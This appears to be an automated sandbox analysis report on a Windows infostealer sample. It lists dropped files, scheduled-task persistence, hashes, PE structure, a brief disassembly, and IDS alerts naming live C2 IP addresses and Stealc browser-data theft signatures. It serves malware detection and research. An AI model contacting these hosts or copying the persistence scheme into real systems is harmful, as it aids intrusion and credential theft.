C:\Users\user\AppData\RoamingCFCGIIEHIE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1876480
Entropy (8bit):	7.949848674984114
Encrypted:	false
SSDEEP:	49152:6UpS3HJbzFSEp/WnPRrHNLHMTV06w7ddDehI6Jp:6UpShkFnJrJHMTVAdMhI6
MD5:	1495ABBBF8BDABFF61B2E0BDFE9395F8
SHA1:	A64F04964413D358E7AB2CCBECE16BE669E7CD0A
SHA-256:	C976451F9E25789C651DC24443CCAE387F6215D3BA653D1C2DE4806294E56D92
SHA-512:	018CE3B5CB932D468AB62B2345F5241CE5E667F581764FE8BB86702CB92D9FAC5E4A1335314F92C566EAA7015C17F9F35E755A95D6E58F262EDAE8EBAFEB87C2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f.............................pJ...........@...........................J...........@.................................W...k............................WJ.............................8WJ..................................................... . ............................@....rsrc...............................@....idata ............................@... . *.........................@...cwtgiuyn......0.....................@...mrbyzpwc.....`J......\|..............@....taggant.0...pJ.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.5072025183470625
Encrypted:	false
SSDEEP:	192:nnPOeRnHYbBp6SJ0aX+H6SEXK5kHWNBw8dhSl:PPeDJUapHEw80
MD5:	B27293AF6F2E7D0D284EAED021034971
SHA1:	6F5A72E4E3E381300923878A54778959D6E70A2B
SHA-256:	1E64119AFEE92543C9BD475F3E98E745D4D83A59EB228BF307627F7E311C175A
SHA-512:	34A2CB08111B009931C6CE013569D24A86F118BDDCBB6476085B288B3407FF4070F091AEE229D9E3E996AAFB4B78011EBBD96BCFC9FDF94E0076D2E54080D898
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.5072025183470625
Encrypted:	false
SSDEEP:	192:nnPOeRnHYbBp6SJ0aX+H6SEXK5kHWNBw8dhSl:PPeDJUapHEw80
MD5:	B27293AF6F2E7D0D284EAED021034971
SHA1:	6F5A72E4E3E381300923878A54778959D6E70A2B
SHA-256:	1E64119AFEE92543C9BD475F3E98E745D4D83A59EB228BF307627F7E311C175A
SHA-512:	34A2CB08111B009931C6CE013569D24A86F118BDDCBB6476085B288B3407FF4070F091AEE229D9E3E996AAFB4B78011EBBD96BCFC9FDF94E0076D2E54080D898
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 7, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	modified
Size (bytes):	4096
Entropy (8bit):	2.0834050879442
Encrypted:	false
SSDEEP:	24:JRrwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:/rnEUo9LXtR+JdkOnohYsl
MD5:	0F96947ADE42926AE1A7CC79408757A6
SHA1:	82D11B65A64904B9326335FDD26D5D2BBF06A465
SHA-256:	8AD33211E9214835DD396D248C82E4C56DDCC604C04D2EF573E281CA36A56F68
SHA-512:	A124AA8333EAE976B1B275A5487B791A588EC88EED58E117E27D1DE78487E65AA961EF5B4391BC0E4F0C242F6648CA4D09E5A22AFFAB1AA0BA85575F29D5E69A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\userAKKKFBGDHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.4375713637132814
Encrypted:	false
SSDEEP:	6:pwX45ZsUEZ+lX1lOJUPelkDdtFXqYEp5t/uy0l1Lt0:paDQ1lOmeeDNfXV1Lt0
MD5:	36C88137ADDBD545568BB273CB9209C8
SHA1:	3C59C515EECBDE5B99E5DCB9020733EDE5933736
SHA-256:	DC56E3B903DBABF709529DFA2C8C07E34002A7987D8751B323F837E6CB4C63B6
SHA-512:	B2848AD03E8C46FF695E6A26069717A3720D5C4740A1036CEFCFEE738BE3F9EE4E549EE233B4441C81390A1DAE772D1DAC41EC3D262DA8E14A4D3CE7710E7EFC
Malicious:	false
Preview:	....7[7.E{.M..X.Xi$kF.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\RoamingCFCGIIEHIE.exe
File Type:	data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	3.426705956415594
Encrypted:	false
SSDEEP:	6:PuL1XUG5ZsUEZ+lX1cI1l6lm6tFXqYEp5t/uy0l1Lt0:Pu9YQ1cagxfXV1Lt0
MD5:	CED42A6592282A63E8A9D4002F879EC4
SHA1:	73D81008FE9BB4CC3C885D618CE594531750A132
SHA-256:	361DE6DFF957ABDD8D3676F8B302BFE985AC1F3B2CAE2C4BF74EB2891296ACCC
SHA-512:	355CF030B62C2F5799A97FA842083E59DA92C17B7820EB9B8CA984D660EEC53B0D0B7C227D52A93D2EB5542CECFC36A2617483B3A0CB3A848BD8923A6E14701F
Malicious:	false
Preview:	....,A..Zm.O...GD9..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.d.8.f.5.e.b.8.a.7.\.e.x.p.l.o.r.t.i...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.424048387619537
Encrypted:	false
SSDEEP:	6144:8Svfpi6ceLP/9skLmb0OTUWSPHaJG8nAgeMZMMhA2fX4WABlEnNg0uhiTw:nvloTUW+EZMM6DFyO03w
MD5:	089BF67E0224ABFCE9DF00293ABB1398
SHA1:	5AC6C1AA85C10A8167D4C383937168081D440F9D
SHA-256:	444BD7391CEE124612DA643B99C8191BD5CEA0FFDDF0564AC7C34B9E414A8E47
SHA-512:	3BC93142729039821A29992AE48F33B66E123B305B24F31BBB247A875E9CDAB19123DFEC8E665A42A4327CC8963BCAC0F27ED801A856BF8FCE3EA11C7CF57563
Malicious:	false
Preview:	regf?...?....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.@ ..................................................................................................................................................................................................................................................................................................................................................V.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.036463358128751
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	250'368 bytes
MD5:	c8b29f4c8c60a861b941dc46c03d41bc
SHA1:	43e5e1266128f01d074d3aba20465ab19d26050b
SHA256:	afddc92c285934cfa180d497fd271e5eae08117765a5797b3ecbd5bdeafe49d0
SHA512:	50b5021b685fad9661f5d49e4e2fa53f0d7fd79e9c5a12cfe4faf29b0031ef6a1dd9828b367a144a52d9fa024440c4c19cdc528debc23442037f8a3e11e6af02
SSDEEP:	3072:XCIAd6FdS37kE4PCiAiqPCU7mJSngqAE7qkkDZ0oOkr+7XPF3:yF6FILkvfAt7YGd7XkDpx+DPF
TLSH:	8B34D01076B0C435E7A3583488B4F2F5153B79A39B34D88B3E583B2F2D712E09A6572E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......dg.s .. .. .. OpQ ;.. Opd 0.. OpP D.. )~i +.. .. U.. OpU !.. Op` !.. Opg !.. Rich .. ................PE..L....b@e...........

File Icon


Icon Hash:	cd4d3d2e4e054d07

Static PE Info

General

Entrypoint:	0x4020f9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x654062AD [Tue Oct 31 02:13:01 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	cad49a74db90f0ab4ed6ac546ead4ba4

Entrypoint Preview

Instruction
call 00007F95FC85C9F5h
jmp 00007F95FC85901Eh
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword ptr [ebp+0Ch]
push esi
call 00007F95FC85A7A1h
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [esi+0Ch]
pop ecx
test al, 82h
jne 00007F95FC8591A9h
call 00007F95FC85A18Fh
mov dword ptr [eax], 00000009h
or dword ptr [esi+0Ch], 20h
or eax, FFFFFFFFh
jmp 00007F95FC8592C4h
test al, 40h
je 00007F95FC85919Fh
call 00007F95FC85A174h
mov dword ptr [eax], 00000022h
jmp 00007F95FC859175h
push ebx
xor ebx, ebx
test al, 01h
je 00007F95FC8591A8h
mov dword ptr [esi+04h], ebx
test al, 10h
je 00007F95FC85921Dh
mov ecx, dword ptr [esi+08h]
and eax, FFFFFFFEh
mov dword ptr [esi], ecx
mov dword ptr [esi+0Ch], eax
mov eax, dword ptr [esi+0Ch]
and eax, FFFFFFEFh
or eax, 02h
mov dword ptr [esi+0Ch], eax
mov dword ptr [esi+04h], ebx
mov dword ptr [ebp-04h], ebx
test eax, 0000010Ch
jne 00007F95FC8591BEh
call 00007F95FC85A339h
add eax, 20h
cmp esi, eax
je 00007F95FC85919Eh
call 00007F95FC85A32Dh
add eax, 40h
cmp esi, eax
jne 00007F95FC85919Fh
push dword ptr [ebp+0Ch]
call 00007F95FC85D37Bh
pop ecx
test eax, eax
jne 00007F95FC859199h
push esi
call 00007F95FC85D327h
pop ecx
test dword ptr [esi+0Ch], 00000108h
push edi
je 00007F95FC859216h
mov eax, dword ptr [esi+08h]
mov edi, dword ptr [esi]
lea ecx, dword ptr [eax+01h]
mov dword ptr [esi], ecx

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25934	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x204c000	0x9a08	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x259ac	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x253f8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x1c0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x21890	0x21a00	4bdd24b774621ecf36259423dc76114e	False	0.8928104670074349	data	7.814911045179817	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x334a	0x3400	9bf86d94549b39e3a3ec736ead7d5332	False	0.35682091346153844	data	4.9811416562524675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x27000	0x2022e8c	0xdc00	07e5e9b37ca199d9b3e5763aba1c1ed7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.lowo	0x204a000	0x2d3	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.nade	0x204b000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x204c000	0x9a08	0x9c00	ec6d46bc5d214ebe8588f9b0da6f13d1	False	0.42753405448717946	data	4.646667889502014	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x2052c98	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x2053b40	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x20543e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_ICON	0x204c420	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.47121535181236673
RT_ICON	0x204c420	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.47121535181236673
RT_ICON	0x204d2c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5821299638989169
RT_ICON	0x204d2c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5821299638989169
RT_ICON	0x204db70	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.6474654377880185
RT_ICON	0x204db70	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.6474654377880185
RT_ICON	0x204e238	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.7015895953757225
RT_ICON	0x204e238	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.7015895953757225
RT_ICON	0x204e7a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	India	0.3698132780082988
RT_ICON	0x204e7a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	Sri Lanka	0.3698132780082988
RT_ICON	0x2050d48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	India	0.46177298311444653
RT_ICON	0x2050d48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	Sri Lanka	0.46177298311444653
RT_ICON	0x2051df0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	India	0.5401639344262295
RT_ICON	0x2051df0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	Sri Lanka	0.5401639344262295
RT_ICON	0x2052778	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	India	0.6338652482269503
RT_ICON	0x2052778	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	Sri Lanka	0.6338652482269503
RT_STRING	0x2054be0	0x452	data	Tamil	India	0.45479204339963836
RT_STRING	0x2054be0	0x452	data	Tamil	Sri Lanka	0.45479204339963836
RT_STRING	0x2055038	0x28e	data	Tamil	India	0.481651376146789
RT_STRING	0x2055038	0x28e	data	Tamil	Sri Lanka	0.481651376146789
RT_STRING	0x20552c8	0x73e	data	Tamil	India	0.4261057173678533
RT_STRING	0x20552c8	0x73e	data	Tamil	Sri Lanka	0.4261057173678533
RT_ACCELERATOR	0x2052c58	0x40	data	Tamil	India	0.875
RT_ACCELERATOR	0x2052c58	0x40	data	Tamil	Sri Lanka	0.875
RT_GROUP_CURSOR	0x2054950	0x30	data			0.9375
RT_GROUP_ICON	0x2052be0	0x76	data	Tamil	India	0.6610169491525424
RT_GROUP_ICON	0x2052be0	0x76	data	Tamil	Sri Lanka	0.6610169491525424
RT_VERSION	0x2054980	0x25c	data			0.5281456953642384

Imports

DLL	Import
KERNEL32.dll	SetEndOfFile, LocalCompact, EnumCalendarInfoW, SetEnvironmentVariableW, GetTickCount, CreateNamedPipeW, GetConsoleAliasesA, EnumResourceTypesA, GetConsoleCP, GlobalAlloc, SetFileShortNameW, LoadLibraryW, IsProcessInJob, FatalAppExitW, AssignProcessToJobObject, IsBadCodePtr, ReplaceFileW, GetModuleFileNameW, GetSystemDirectoryA, GlobalUnlock, CreateJobObjectA, GetLastError, WriteConsoleInputW, VerLanguageNameW, LoadLibraryA, SetConsoleCtrlHandler, AddAtomW, HeapWalk, GetOEMCP, EnumDateFormatsA, GetModuleHandleA, GetProcessShutdownParameters, EnumResourceNamesA, GetFileTime, PeekConsoleInputA, GetDiskFreeSpaceExA, LCMapStringW, CreateFileW, HeapSize, FlushFileBuffers, FindVolumeClose, HeapCompact, GetProcAddress, CreateFileA, GetStringTypeW, WriteConsoleW, HeapReAlloc, GetCommandLineW, HeapSetInformation, GetStartupInfoW, DecodePointer, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, TerminateProcess, GetCurrentProcess, HeapAlloc, HeapFree, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, MultiByteToWideChar, ReadFile, GetModuleHandleW, ExitProcess, SetFilePointer, HeapCreate, WriteFile, FreeEnvironmentStringsW, GetEnvironmentStringsW, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, WideCharToMultiByte, GetConsoleMode, GetCPInfo, GetACP, IsValidCodePage, Sleep, RtlUnwind, SetStdHandle, IsProcessorFeaturePresent, CloseHandle
USER32.dll	GetMenu, CharUpperBuffW, SetCaretPos, GetMessageExtraInfo, DrawStateW, GetSysColorBrush
GDI32.dll	GetCharWidthI, CreateDCA, GetCharABCWidthsI
WINHTTP.dll	WinHttpOpen
MSIMG32.dll	AlphaBlend

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-27T09:24:59.912105+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T09:25:00.181130+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:25:05.639605+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:25:08.324542+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T09:25:00.449225+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:25:14.250261+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49705	80	192.168.2.5	185.215.113.16
2024-07-27T09:25:55.284293+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49725	20.12.23.50	192.168.2.5
2024-07-27T09:24:57.705371+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:25:05.829595+0200	TCP	2002725	ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:25:05.829454+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:25:11.428726+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49705	80	192.168.2.5	185.215.113.16
